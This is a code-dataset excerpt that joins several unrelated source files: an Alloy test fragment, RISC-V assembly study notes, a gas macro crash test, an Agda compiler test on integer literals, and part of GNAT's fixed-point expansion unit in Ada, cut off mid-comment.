color = Node0->Blue0 + Node1->Blue0 + Node2->Red0
treeAcyclic[]
}}}}
}
run test30
pred test31 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node1->Node0
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test31
|
Assembly/eecs_388.asm
|
maxxxxxdlp/code_share
| 0 |
89219
|
<gh_stars>0
// BASICS
x0 // ref to 0
add x1, x2, x3 // x1=x2+x3 // sub
// memory addresses like offset(base) // 4(x0) // sp(x2)
// THEORY
// Big Endian - MSB first
// Little Endian - LSB first
// CONVENTION
// add `i` if last param is const
addi x1, x2, 3 // x1=x2+3
// -i for const
// -u for unsigned
// -z for zero
// ARITHMETIC
and x1, x2, x3 // x1=x3&&x3 // or xor
slt x1, x2, x3 // x1=int(x2<x3)
sltu x1, x2, x3 // unsigned slt
sll x1, x2, x3 // x1=x2<<x3 // srl
sra x1, x2, x3 // arithmetic right shift
// COMPARE & BRANCH
beq x1, x2, else // x1==x2 && else()
beq // ==
bne // !=
blt // <
bge // >=
bltu // <
bgeu // >=
beqz x1, label // x1==0 && else() // beq against 0 // bnez bltz ...
// JUMP
j label // jumpt to target
jal ra, label // jump to label and store link in ra (return address)
jalr ra, 4(x1) // jump to x1+4 and store link in ra
jr x1 // go back to return address
// LOAD & SAVE
lw x1, 0x4(x0) // load into x1 from 0x4(x0)
sw x1, 0x10(x0) // save into 0x10(x0) from x1
lui x2, 0x3 // x2=0x3000 // load immediate
li x1, 3 // x1=3 // load immediate
lb, lbu, sb // load byte (1)
lh, lhu, sh // load halfword (2)
lw, sw // load word (4)
// PSEUDOINSTRUCTIONS
mv x1 x2 // addi x1, x2, 0
ble x1, x2, label // bge x2, x1, label
li x2, 3 // addi x2, x0, 3
li x3, 0x4321 // li for big // lui x3, 0x4; addi x3, x3, 0x321
// NAMING POINTERS
// a0-a7 - x10-x17 - function arguments (caller)
// a0-a1 - x10-x11 - function return values (caller)
// ra - x1 - return address (caller)
// t0-t6 - x5-7, x28-31 - temp values (caller)
// s0-s11 - x8-9, x18-27 - saved registers (calle)
// sp - x2 - stack pointer (calle)
// gp - x3 - global pointer
// tp - x4 - thread pointer
// zero - x0 - hardwired zero
// caller-saved - not preserverd acrsoll calls; calle can overwrite
// calle-saved - preseverd acrsoll calls
// PROCEDURE
f:
// saving s0 and s1 to the call stack before chaning them
addi sp, sp, -8
sw s0, 4(sp)
sw s1, 0(sp)
// doing operations on them
addi s0, a0, 3
li s1, 123456
add s1, at, s1
or a0, s0, s1 // saving the response into `a0`
// restoring previous s0 and s1
lw s1, 0(sp)
lw s0, 4(sp)
addi sp, sp, 8
ret // return to return address
li a0, 1
li a1, 2
addi sp, sp, -8
sw ra, 0(sp) // save return address
sw a1, 4(sp) // save a1 as it would be used again
jal ra, sum
lw a1, 4(sp)
jal ra, sum
lw ra, 0(sp)
addi sp, sp, x8
|
tools-src/gnu/binutils/gas/testsuite/gasp/crash1.asm
|
enfoTek/tomato.linksys.e2000.nvram-mod
| 80 |
13217
|
<gh_stars>10-100
.MACRO foo a b c=a
\a \b \c \d
.ENDM
foo 1 2
foo 1 2 3 4
foo 1
foo
.END
|
test/Compiler/simple/CompileNumbers.agda
|
cruhland/agda
| 1,989 |
12534
|
{-# OPTIONS -v treeless.opt:20 #-}
module _ where
open import Agda.Builtin.Nat using (_<_)
open import Common.Prelude
open import Common.Integer
-- Should compile to
-- Ξ» a b β case a of
-- "neg" β 0 - b
-- _ β b
match-on-lit : String β Integer β Integer
match-on-lit "neg" x with x
... | pos (suc n) = negsuc n
... | pos 0 = pos 0
... | negsuc n = pos (suc n)
match-on-lit _ x = x
-- This doesn't compile as nicely, since the match on "neg"
-- ends up between the match on the int and the nat (not sure why).
match-on-litβ : String β Integer β Integer
match-on-litβ "neg" (pos (suc n)) = negsuc n
match-on-litβ "neg" (negsuc n) = pos (suc n)
match-on-litβ _ x = x
-- Should compile to a flat case
nested-match : Integer β String
nested-match (pos 0) = "zero"
nested-match (pos 1) = "one"
nested-match (pos (suc (suc n))) = "lots"
nested-match (negsuc 0) = "minus one"
nested-match (negsuc 1) = "minus two"
nested-match (negsuc (suc (suc n))) = "minus lots"
data Diff : Set where
less : Nat β Diff
equal : Diff
greater : Nat β Diff
compareNat : Nat β Nat β Diff
compareNat a b with a < b
... | true = less (b βΈ suc a)
... | false with b < a
... | true = greater (a βΈ suc b)
... | false = equal
{-# INLINE compareNat #-}
-- Should compile to 0 - a
neg : Nat β Integer
neg zero = pos zero
neg (suc a) = negsuc a
{-# INLINE neg #-}
-- Should compile to a - b
_-N_ : Nat β Nat β Integer
a -N b with compareNat a b
... | less k = negsuc k
... | equal = pos (a βΈ b)
... | greater k = pos (suc k)
{-# INLINE _-N_ #-}
-- Should compile to a + b
_+Z_ : Integer β Integer β Integer
pos a +Z pos b = pos (a + b)
pos a +Z negsuc b = a -N suc b
negsuc a +Z pos b = b -N suc a
negsuc a +Z negsuc b = negsuc (suc a + b)
{-# INLINE _+Z_ #-}
-- Should compile to a * b
_*Z_ : Integer β Integer β Integer
pos a *Z pos b = pos (a * b)
pos a *Z negsuc b = neg (a * suc b)
negsuc a *Z pos b = neg (suc a * b)
negsuc a *Z negsuc b = pos (suc a * suc b)
{-# INLINE _*Z_ #-}
printInt : Integer β IO Unit
printInt x = putStrLn (intToString x)
main : IO Unit
main = printInt (match-on-lit "neg" (pos 42))
,, printInt (match-on-litβ "neg" (pos 42))
,, putStrLn (nested-match (negsuc 5))
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/exp_fixd.adb
|
djamal2727/Main-Bearing-Analytical-Model
| 0 |
530
|
<filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/exp_fixd.adb
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E X P _ F I X D --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Atree; use Atree;
with Checks; use Checks;
with Einfo; use Einfo;
with Exp_Util; use Exp_Util;
with Nlists; use Nlists;
with Nmake; use Nmake;
with Restrict; use Restrict;
with Rident; use Rident;
with Rtsfind; use Rtsfind;
with Sem; use Sem;
with Sem_Eval; use Sem_Eval;
with Sem_Res; use Sem_Res;
with Sem_Util; use Sem_Util;
with Sinfo; use Sinfo;
with Snames; use Snames;
with Stand; use Stand;
with Tbuild; use Tbuild;
with Uintp; use Uintp;
with Urealp; use Urealp;
package body Exp_Fixd is
-----------------------
-- Local Subprograms --
-----------------------
-- General note; in this unit, a number of routines are driven by the
-- types (Etype) of their operands. Since we are dealing with unanalyzed
-- expressions as they are constructed, the Etypes would not normally be
-- set, but the construction routines that we use in this unit do in fact
-- set the Etype values correctly. In addition, setting the Etype ensures
-- that the analyzer does not try to redetermine the type when the node
-- is analyzed (which would be wrong, since in the case where we set the
-- Conversion_OK flag, it would think it was still dealing with a normal
-- fixed-point operation and mess it up).
function Build_Conversion
(N : Node_Id;
Typ : Entity_Id;
Expr : Node_Id;
Rchk : Boolean := False;
Trunc : Boolean := False) return Node_Id;
-- Build an expression that converts the expression Expr to type Typ,
-- taking the source location from Sloc (N). If the conversions involve
-- fixed-point types, then the Conversion_OK flag will be set so that the
-- resulting conversions do not get re-expanded. On return the resulting
-- node has its Etype set. If Rchk is set, then Do_Range_Check is set
-- in the resulting conversion node. If Trunc is set, then the
-- Float_Truncate flag is set on the conversion, which must be from
-- a floating-point type to an integer type.
function Build_Divide (N : Node_Id; L, R : Node_Id) return Node_Id;
-- Builds an N_Op_Divide node from the given left and right operand
-- expressions, using the source location from Sloc (N). The operands are
-- either both Universal_Real, in which case Build_Divide differs from
-- Make_Op_Divide only in that the Etype of the resulting node is set (to
-- Universal_Real), or they can be integer or fixed-point types. In this
-- case the types need not be the same, and Build_Divide chooses a type
-- long enough to hold both operands (i.e. the size of the longer of the
-- two operand types), and both operands are converted to this type. The
-- Etype of the result is also set to this value. The Rounded_Result flag
-- of the result in this case is set from the Rounded_Result flag of node
-- N. On return, the resulting node is analyzed and has its Etype set.
function Build_Double_Divide
(N : Node_Id;
X, Y, Z : Node_Id) return Node_Id;
-- Returns a node corresponding to the value X/(Y*Z) using the source
-- location from Sloc (N). The division is rounded if the Rounded_Result
-- flag of N is set. The integer types of X, Y, Z may be different. On
-- return the resulting node is analyzed, and has its Etype set.
procedure Build_Double_Divide_Code
(N : Node_Id;
X, Y, Z : Node_Id;
Qnn, Rnn : out Entity_Id;
Code : out List_Id);
-- Generates a sequence of code for determining the quotient and remainder
-- of the division X/(Y*Z), using the source location from Sloc (N).
-- Entities of appropriate types are allocated for the quotient and
-- remainder and returned in Qnn and Rnn. The result is rounded if the
-- Rounded_Result flag of N is set. The Etype fields of Qnn and Rnn are
-- appropriately set on return.
function Build_Multiply (N : Node_Id; L, R : Node_Id) return Node_Id;
-- Builds an N_Op_Multiply node from the given left and right operand
-- expressions, using the source location from Sloc (N). The operands are
-- either both Universal_Real, in which case Build_Multiply differs from
-- Make_Op_Multiply only in that the Etype of the resulting node is set (to
-- Universal_Real), or they can be integer or fixed-point types. In this
-- case the types need not be the same, and Build_Multiply chooses a type
-- long enough to hold the product (i.e. twice the size of the longer of
-- the two operand types), and both operands are converted to this type.
-- The Etype of the result is also set to this value. However, the result
-- can never overflow Integer_64, so this is the largest type that is ever
-- generated. On return, the resulting node is analyzed and has Etype set.
function Build_Rem (N : Node_Id; L, R : Node_Id) return Node_Id;
-- Builds an N_Op_Rem node from the given left and right operand
-- expressions, using the source location from Sloc (N). The operands are
-- both integer types, which need not be the same. Build_Rem converts the
-- operand with the smaller sized type to match the type of the other
-- operand and sets this as the result type. The result is never rounded
-- (rem operations cannot be rounded in any case). On return, the resulting
-- node is analyzed and has its Etype set.
function Build_Scaled_Divide
(N : Node_Id;
X, Y, Z : Node_Id) return Node_Id;
-- Returns a node corresponding to the value X*Y/Z using the source
-- location from Sloc (N). The division is rounded if the Rounded_Result
-- flag of N is set. The integer types of X, Y, Z may be different. On
-- return the resulting node is analyzed and has is Etype set.
procedure Build_Scaled_Divide_Code
(N : Node_Id;
X, Y, Z : Node_Id;
Qnn, Rnn : out Entity_Id;
Code : out List_Id);
-- Generates a sequence of code for determining the quotient and remainder
-- of the division X*Y/Z, using the source location from Sloc (N). Entities
-- of appropriate types are allocated for the quotient and remainder and
-- returned in Qnn and Rrr. The integer types for X, Y, Z may be different.
-- The division is rounded if the Rounded_Result flag of N is set. The
-- Etype fields of Qnn and Rnn are appropriately set on return.
procedure Do_Divide_Fixed_Fixed (N : Node_Id);
-- Handles expansion of divide for case of two fixed-point operands
-- (neither of them universal), with an integer or fixed-point result.
-- N is the N_Op_Divide node to be expanded.
procedure Do_Divide_Fixed_Universal (N : Node_Id);
-- Handles expansion of divide for case of a fixed-point operand divided
-- by a universal real operand, with an integer or fixed-point result. N
-- is the N_Op_Divide node to be expanded.
procedure Do_Divide_Universal_Fixed (N : Node_Id);
-- Handles expansion of divide for case of a universal real operand
-- divided by a fixed-point operand, with an integer or fixed-point
-- result. N is the N_Op_Divide node to be expanded.
procedure Do_Multiply_Fixed_Fixed (N : Node_Id);
-- Handles expansion of multiply for case of two fixed-point operands
-- (neither of them universal), with an integer or fixed-point result.
-- N is the N_Op_Multiply node to be expanded.
procedure Do_Multiply_Fixed_Universal (N : Node_Id; Left, Right : Node_Id);
-- Handles expansion of multiply for case of a fixed-point operand
-- multiplied by a universal real operand, with an integer or fixed-
-- point result. N is the N_Op_Multiply node to be expanded, and
-- Left, Right are the operands (which may have been switched).
procedure Expand_Convert_Fixed_Static (N : Node_Id);
-- This routine is called where the node N is a conversion of a literal
-- or other static expression of a fixed-point type to some other type.
-- In such cases, we simply rewrite the operand as a real literal and
-- reanalyze. This avoids problems which would otherwise result from
-- attempting to build and fold expressions involving constants.
function Fpt_Value (N : Node_Id) return Node_Id;
-- Given an operand of fixed-point operation, return an expression that
-- represents the corresponding Universal_Real value. The expression
-- can be of integer type, floating-point type, or fixed-point type.
-- The expression returned is neither analyzed and resolved. The Etype
-- of the result is properly set (to Universal_Real).
function Integer_Literal
(N : Node_Id;
V : Uint;
Negative : Boolean := False) return Node_Id;
-- Given a non-negative universal integer value, build a typed integer
-- literal node, using the smallest applicable standard integer type. If
-- and only if Negative is true a negative literal is built. If V exceeds
-- 2**63-1, the largest value allowed for perfect result set scaling
-- factors (see RM G.2.3(22)), then Empty is returned. The node N provides
-- the Sloc value for the constructed literal. The Etype of the resulting
-- literal is correctly set, and it is marked as analyzed.
function Real_Literal (N : Node_Id; V : Ureal) return Node_Id;
-- Build a real literal node from the given value, the Etype of the
-- returned node is set to Universal_Real, since all floating-point
-- arithmetic operations that we construct use Universal_Real
function Rounded_Result_Set (N : Node_Id) return Boolean;
-- Returns True if N is a node that contains the Rounded_Result flag
-- and if the flag is true or the target type is an integer type.
procedure Set_Result
(N : Node_Id;
Expr : Node_Id;
Rchk : Boolean := False;
Trunc : Boolean := False);
-- N is the node for the current conversion, division or multiplication
-- operation, and Expr is an expression representing the result. Expr may
-- be of floating-point or integer type. If the operation result is fixed-
-- point, then the value of Expr is in units of small of the result type
-- (i.e. small's have already been dealt with). The result of the call is
-- to replace N by an appropriate conversion to the result type, dealing
-- with rounding for the decimal types case. The node is then analyzed and
-- resolved using the result type. If Rchk or Trunc are True, then
-- respectively Do_Range_Check and Float_Truncate are set in the
-- resulting conversion.
----------------------
-- Build_Conversion --
----------------------
function Build_Conversion
(N : Node_Id;
Typ : Entity_Id;
Expr : Node_Id;
Rchk : Boolean := False;
Trunc : Boolean := False) return Node_Id
is
Loc : constant Source_Ptr := Sloc (N);
Result : Node_Id;
Rcheck : Boolean := Rchk;
begin
-- A special case, if the expression is an integer literal and the
-- target type is an integer type, then just retype the integer
-- literal to the desired target type. Don't do this if we need
-- a range check.
if Nkind (Expr) = N_Integer_Literal
and then Is_Integer_Type (Typ)
and then not Rchk
then
Result := Expr;
-- Cases where we end up with a conversion. Note that we do not use the
-- Convert_To abstraction here, since we may be decorating the resulting
-- conversion with Rounded_Result and/or Conversion_OK, so we want the
-- conversion node present, even if it appears to be redundant.
else
-- Remove inner conversion if both inner and outer conversions are
-- to integer types, since the inner one serves no purpose (except
-- perhaps to set rounding, so we preserve the Rounded_Result flag)
-- and also preserve the Conversion_OK and Do_Range_Check flags of
-- the inner conversion.
if Is_Integer_Type (Typ)
and then Is_Integer_Type (Etype (Expr))
and then Nkind (Expr) = N_Type_Conversion
then
Result :=
Make_Type_Conversion (Loc,
Subtype_Mark => New_Occurrence_Of (Typ, Loc),
Expression => Expression (Expr));
Set_Rounded_Result (Result, Rounded_Result_Set (Expr));
Set_Conversion_OK (Result, Conversion_OK (Expr));
Rcheck := Rcheck or Do_Range_Check (Expr);
-- For all other cases, a simple type conversion will work
else
Result :=
Make_Type_Conversion (Loc,
Subtype_Mark => New_Occurrence_Of (Typ, Loc),
Expression => Expr);
Set_Float_Truncate (Result, Trunc);
end if;
-- Set Conversion_OK if either result or expression type is a
-- fixed-point type, since from a semantic point of view, we are
-- treating fixed-point values as integers at this stage.
if Is_Fixed_Point_Type (Typ)
or else Is_Fixed_Point_Type (Etype (Expression (Result)))
then
Set_Conversion_OK (Result);
end if;
-- Set Do_Range_Check if either it was requested by the caller,
-- or if an eliminated inner conversion had a range check.
if Rcheck then
Enable_Range_Check (Result);
else
Set_Do_Range_Check (Result, False);
end if;
end if;
Set_Etype (Result, Typ);
return Result;
end Build_Conversion;
------------------
-- Build_Divide --
------------------
function Build_Divide (N : Node_Id; L, R : Node_Id) return Node_Id is
Loc : constant Source_Ptr := Sloc (N);
Left_Type : constant Entity_Id := Base_Type (Etype (L));
Right_Type : constant Entity_Id := Base_Type (Etype (R));
Left_Size : Int;
Right_Size : Int;
Rsize : Int;
Result_Type : Entity_Id;
Rnode : Node_Id;
begin
-- Deal with floating-point case first
if Is_Floating_Point_Type (Left_Type) then
pragma Assert (Left_Type = Universal_Real);
pragma Assert (Right_Type = Universal_Real);
Rnode := Make_Op_Divide (Loc, L, R);
Result_Type := Universal_Real;
-- Integer and fixed-point cases
else
-- An optimization. If the right operand is the literal 1, then we
-- can just return the left hand operand. Putting the optimization
-- here allows us to omit the check at the call site.
if Nkind (R) = N_Integer_Literal and then Intval (R) = 1 then
return L;
end if;
-- First figure out the effective sizes of the operands. Normally
-- the effective size of an operand is the RM_Size of the operand.
-- But a special case arises with operands whose size is known at
-- compile time. In this case, we can use the actual value of the
-- operand to get its size if it would fit signed in 8 or 16 bits.
Left_Size := UI_To_Int (RM_Size (Left_Type));
if Compile_Time_Known_Value (L) then
declare
Val : constant Uint := Expr_Value (L);
begin
if Val < Int'(2 ** 7) then
Left_Size := 8;
elsif Val < Int'(2 ** 15) then
Left_Size := 16;
end if;
end;
end if;
Right_Size := UI_To_Int (RM_Size (Right_Type));
if Compile_Time_Known_Value (R) then
declare
Val : constant Uint := Expr_Value (R);
begin
if Val <= Int'(2 ** 7) then
Right_Size := 8;
elsif Val <= Int'(2 ** 15) then
Right_Size := 16;
end if;
end;
end if;
-- Do the operation using the longer of the two sizes
Rsize := Int'Max (Left_Size, Right_Size);
if Rsize <= 8 then
Result_Type := Standard_Integer_8;
elsif Rsize <= 16 then
Result_Type := Standard_Integer_16;
elsif Rsize <= 32 then
Result_Type := Standard_Integer_32;
else
Result_Type := Standard_Integer_64;
end if;
Rnode :=
Make_Op_Divide (Loc,
Left_Opnd => Build_Conversion (N, Result_Type, L),
Right_Opnd => Build_Conversion (N, Result_Type, R));
end if;
-- We now have a divide node built with Result_Type set. First
-- set Etype of result, as required for all Build_xxx routines
Set_Etype (Rnode, Base_Type (Result_Type));
-- The result is rounded if the target of the operation is decimal
-- and Rounded_Result is set, or if the target of the operation
-- is an integer type.
if Is_Integer_Type (Etype (N))
or else Rounded_Result_Set (N)
then
Set_Rounded_Result (Rnode);
end if;
-- One more check. We did the divide operation using the longer of
-- the two sizes, which is reasonable. However, in the case where the
-- two types have unequal sizes, it is impossible for the result of
-- a divide operation to be larger than the dividend, so we can put
-- a conversion round the result to keep the evolving operation size
-- as small as possible.
if not Is_Floating_Point_Type (Left_Type) then
Rnode := Build_Conversion (N, Left_Type, Rnode);
end if;
return Rnode;
end Build_Divide;
-------------------------
-- Build_Double_Divide --
-------------------------
function Build_Double_Divide
(N : Node_Id;
X, Y, Z : Node_Id) return Node_Id
is
Y_Size : constant Nat := UI_To_Int (Esize (Etype (Y)));
Z_Size : constant Nat := UI_To_Int (Esize (Etype (Z)));
Expr : Node_Id;
begin
-- If denominator fits in 64 bits, we can build the operations directly
-- without causing any intermediate overflow, so that's what we do.
if Nat'Max (Y_Size, Z_Size) <= 32 then
return
Build_Divide (N, X, Build_Multiply (N, Y, Z));
-- Otherwise we use the runtime routine
-- [Qnn : Interfaces.Integer_64,
-- Rnn : Interfaces.Integer_64;
-- Double_Divide (X, Y, Z, Qnn, Rnn, Round);
-- Qnn]
else
declare
Loc : constant Source_Ptr := Sloc (N);
Qnn : Entity_Id;
Rnn : Entity_Id;
Code : List_Id;
pragma Warnings (Off, Rnn);
begin
Build_Double_Divide_Code (N, X, Y, Z, Qnn, Rnn, Code);
Insert_Actions (N, Code);
Expr := New_Occurrence_Of (Qnn, Loc);
-- Set type of result in case used elsewhere (see note at start)
Set_Etype (Expr, Etype (Qnn));
-- Set result as analyzed (see note at start on build routines)
return Expr;
end;
end if;
end Build_Double_Divide;
------------------------------
-- Build_Double_Divide_Code --
------------------------------
-- If the denominator can be computed in 64-bits, we build
-- [Nnn : constant typ := typ (X);
-- Dnn : constant typ := typ (Y) * typ (Z)
-- Qnn : constant typ := Nnn / Dnn;
-- Rnn : constant typ := Nnn / Dnn;
-- If the numerator cannot be computed in 64 bits, we build
-- [Qnn : typ;
-- Rnn : typ;
-- Double_Divide (X, Y, Z, Qnn, Rnn, Round);]
procedure Build_Double_Divide_Code
(N : Node_Id;
X, Y, Z : Node_Id;
Qnn, Rnn : out Entity_Id;
Code : out List_Id)
is
Loc : constant Source_Ptr := Sloc (N);
X_Size : constant Nat := UI_To_Int (Esize (Etype (X)));
Y_Size : constant Nat := UI_To_Int (Esize (Etype (Y)));
Z_Size : constant Nat := UI_To_Int (Esize (Etype (Z)));
QR_Siz : Nat;
QR_Typ : Entity_Id;
Nnn : Entity_Id;
Dnn : Entity_Id;
Quo : Node_Id;
Rnd : Entity_Id;
begin
-- Find type that will allow computation of numerator
QR_Siz := Nat'Max (X_Size, 2 * Nat'Max (Y_Size, Z_Size));
if QR_Siz <= 16 then
QR_Typ := Standard_Integer_16;
elsif QR_Siz <= 32 then
QR_Typ := Standard_Integer_32;
elsif QR_Siz <= 64 then
QR_Typ := Standard_Integer_64;
-- For more than 64, bits, we use the 64-bit integer defined in
-- Interfaces, so that it can be handled by the runtime routine.
else
QR_Typ := RTE (RE_Integer_64);
end if;
-- Define quotient and remainder, and set their Etypes, so
-- that they can be picked up by Build_xxx routines.
Qnn := Make_Temporary (Loc, 'S');
Rnn := Make_Temporary (Loc, 'R');
Set_Etype (Qnn, QR_Typ);
Set_Etype (Rnn, QR_Typ);
-- Case that we can compute the denominator in 64 bits
if QR_Siz <= 64 then
-- Create temporaries for numerator and denominator and set Etypes,
-- so that New_Occurrence_Of picks them up for Build_xxx calls.
Nnn := Make_Temporary (Loc, 'N');
Dnn := Make_Temporary (Loc, 'D');
Set_Etype (Nnn, QR_Typ);
Set_Etype (Dnn, QR_Typ);
Code := New_List (
Make_Object_Declaration (Loc,
Defining_Identifier => Nnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression => Build_Conversion (N, QR_Typ, X)),
Make_Object_Declaration (Loc,
Defining_Identifier => Dnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression =>
Build_Multiply (N,
Build_Conversion (N, QR_Typ, Y),
Build_Conversion (N, QR_Typ, Z))));
Quo :=
Build_Divide (N,
New_Occurrence_Of (Nnn, Loc),
New_Occurrence_Of (Dnn, Loc));
Set_Rounded_Result (Quo, Rounded_Result_Set (N));
Append_To (Code,
Make_Object_Declaration (Loc,
Defining_Identifier => Qnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression => Quo));
Append_To (Code,
Make_Object_Declaration (Loc,
Defining_Identifier => Rnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc),
Constant_Present => True,
Expression =>
Build_Rem (N,
New_Occurrence_Of (Nnn, Loc),
New_Occurrence_Of (Dnn, Loc))));
-- Case where denominator does not fit in 64 bits, so we have to
-- call the runtime routine to compute the quotient and remainder
else
Rnd := Boolean_Literals (Rounded_Result_Set (N));
Code := New_List (
Make_Object_Declaration (Loc,
Defining_Identifier => Qnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc)),
Make_Object_Declaration (Loc,
Defining_Identifier => Rnn,
Object_Definition => New_Occurrence_Of (QR_Typ, Loc)),
Make_Procedure_Call_Statement (Loc,
Name => New_Occurrence_Of (RTE (RE_Double_Divide), Loc),
Parameter_Associations => New_List (
Build_Conversion (N, QR_Typ, X),
Build_Conversion (N, QR_Typ, Y),
Build_Conversion (N, QR_Typ, Z),
New_Occurrence_Of (Qnn, Loc),
New_Occurrence_Of (Rnn, Loc),
New_Occurrence_Of (Rnd, Loc))));
end if;
end Build_Double_Divide_Code;
--------------------
-- Build_Multiply --
--------------------
function Build_Multiply (N : Node_Id; L, R : Node_Id) return Node_Id is
Loc : constant Source_Ptr := Sloc (N);
Left_Type : constant Entity_Id := Etype (L);
Right_Type : constant Entity_Id := Etype (R);
Left_Size : Int;
Right_Size : Int;
Rsize : Int;
Result_Type : Entity_Id;
Rnode : Node_Id;
begin
-- Deal with floating-point case first
if Is_Floating_Point_Type (Left_Type) then
pragma Assert (Left_Type = Universal_Real);
pragma Assert (Right_Type = Universal_Real);
Result_Type := Universal_Real;
Rnode := Make_Op_Multiply (Loc, L, R);
-- Integer and fixed-point cases
else
-- An optimization. If the right operand is the literal 1, then we
-- can just return the left hand operand. Putting the optimization
-- here allows us to omit the check at the call site. Similarly, if
-- the left operand is the integer 1 we can return the right operand.
if Nkind (R) = N_Integer_Literal and then Intval (R) = 1 then
return L;
elsif Nkind (L) = N_Integer_Literal and then Intval (L) = 1 then
return R;
end if;
-- Otherwise we need to figure out the correct result type size
-- First figure out the effective sizes of the operands. Normally
-- the effective size of an operand is the RM_Size of the operand.
-- But a special case arises with operands whose size is known at
-- compile time. In this case, we can use the actual value of the
-- operand to get its size if it would fit signed in 8 or 16 bits.
Left_Size := UI_To_Int (RM_Size (Left_Type));
if Compile_Time_Known_Value (L) then
declare
Val : constant Uint := Expr_Value (L);
begin
if Val < Int'(2 ** 7) then
Left_Size := 8;
elsif Val < Int'(2 ** 15) then
Left_Size := 16;
end if;
end;
end if;
Right_Size := UI_To_Int (RM_Size (Right_Type));
if Compile_Time_Known_Value (R) then
declare
Val : constant Uint := Expr_Value (R);
begin
if Val <= Int'(2 ** 7) then
Right_Size := 8;
elsif Val <= Int'(2 ** 15) then
Right_Size := 16;
end if;
end;
end if;
-- Now the result size must be at least twice the longer of
-- the two sizes, to accommodate all possible results.
Rsize := 2 * Int'Max (Left_Size, Right_Size);
if Rsize <= 8 then
Result_Type := Standard_Integer_8;
elsif Rsize <= 16 then
Result_Type := Standard_Integer_16;
elsif Rsize <= 32 then
Result_Type := Standard_Integer_32;
else
Result_Type := Standard_Integer_64;
end if;
Rnode :=
Make_Op_Multiply (Loc,
Left_Opnd => Build_Conversion (N, Result_Type, L),
Right_Opnd => Build_Conversion (N, Result_Type, R));
end if;
-- We now have a multiply node built with Result_Type set. First
-- set Etype of result, as required for all Build_xxx routines
Set_Etype (Rnode, Base_Type (Result_Type));
return Rnode;
end Build_Multiply;
---------------
-- Build_Rem --
---------------
function Build_Rem (N : Node_Id; L, R : Node_Id) return Node_Id is
Loc : constant Source_Ptr := Sloc (N);
Left_Type : constant Entity_Id := Etype (L);
Right_Type : constant Entity_Id := Etype (R);
Result_Type : Entity_Id;
Rnode : Node_Id;
begin
if Left_Type = Right_Type then
Result_Type := Left_Type;
Rnode :=
Make_Op_Rem (Loc,
Left_Opnd => L,
Right_Opnd => R);
-- If left size is larger, we do the remainder operation using the
-- size of the left type (i.e. the larger of the two integer types).
elsif Esize (Left_Type) >= Esize (Right_Type) then
Result_Type := Left_Type;
Rnode :=
Make_Op_Rem (Loc,
Left_Opnd => L,
Right_Opnd => Build_Conversion (N, Left_Type, R));
-- Similarly, if the right size is larger, we do the remainder
-- operation using the right type.
else
Result_Type := Right_Type;
Rnode :=
Make_Op_Rem (Loc,
Left_Opnd => Build_Conversion (N, Right_Type, L),
Right_Opnd => R);
end if;
-- We now have an N_Op_Rem node built with Result_Type set. First
-- set Etype of result, as required for all Build_xxx routines
Set_Etype (Rnode, Base_Type (Result_Type));
-- One more check. We did the rem operation using the larger of the
-- two types, which is reasonable. However, in the case where the
-- two types have unequal sizes, it is impossible for the result of
-- a remainder operation to be larger than the smaller of the two
-- types, so we can put a conversion round the result to keep the
-- evolving operation size as small as possible.
if Esize (Left_Type) >= Esize (Right_Type) then
Rnode := Build_Conversion (N, Right_Type, Rnode);
elsif Esize (Right_Type) >= Esize (Left_Type) then
Rnode := Build_Conversion (N, Left_Type, Rnode);
end if;
return Rnode;
end Build_Rem;
-------------------------
-- Build_Scaled_Divide --
-------------------------
function Build_Scaled_Divide
(N : Node_Id;
X, Y, Z : Node_Id) return Node_Id
is
X_Size : constant Nat := UI_To_Int (Esize (Etype (X)));
Y_Size : constant Nat := UI_To_Int (Esize (Etype (Y)));
Expr : Node_Id;
begin
-- If numerator fits in 64 bits, we can build the operations directly
-- without causing any intermediate overflow, so that's what we do.
if Nat'Max (X_Size, Y_Size) <= 32 then
return
Build_Divide (N, Build_Multiply (N, X, Y), Z);
-- Otherwise we use the runtime routine
-- [Qnn : Integer_64,
-- Rnn : Integer_64;
-- Scaled_Divide (X, Y, Z, Qnn, Rnn, Round);
-- Qnn]
else
declare
Loc : constant Source_Ptr := Sloc (N);
Qnn : Entity_Id;
Rnn : Entity_Id;
Code : List_Id;
pragma Warnings (Off, Rnn);
begin
Build_Scaled_Divide_Code (N, X, Y, Z, Qnn, Rnn, Code);
Insert_Actions (N, Code);
Expr := New_Occurrence_Of (Qnn, Loc);
-- Set type of result in case used elsewhere (see note at start)
Set_Etype (Expr, Etype (Qnn));
return Expr;
end;
end if;
end Build_Scaled_Divide;
------------------------------
-- Build_Scaled_Divide_Code --
------------------------------
-- If the numerator can be computed in 64-bits, we build
-- [Nnn : constant typ := typ (X) * typ (Y);
-- Dnn : constant typ := typ (Z)
-- Qnn : constant typ := Nnn / Dnn;
-- Rnn : constant typ := Nnn / Dnn;
-- If the numerator cannot be computed in 64 bits, we build
-- [Qnn : Interfaces.Integer_64;
-- Rnn : Interfaces.Integer_64;
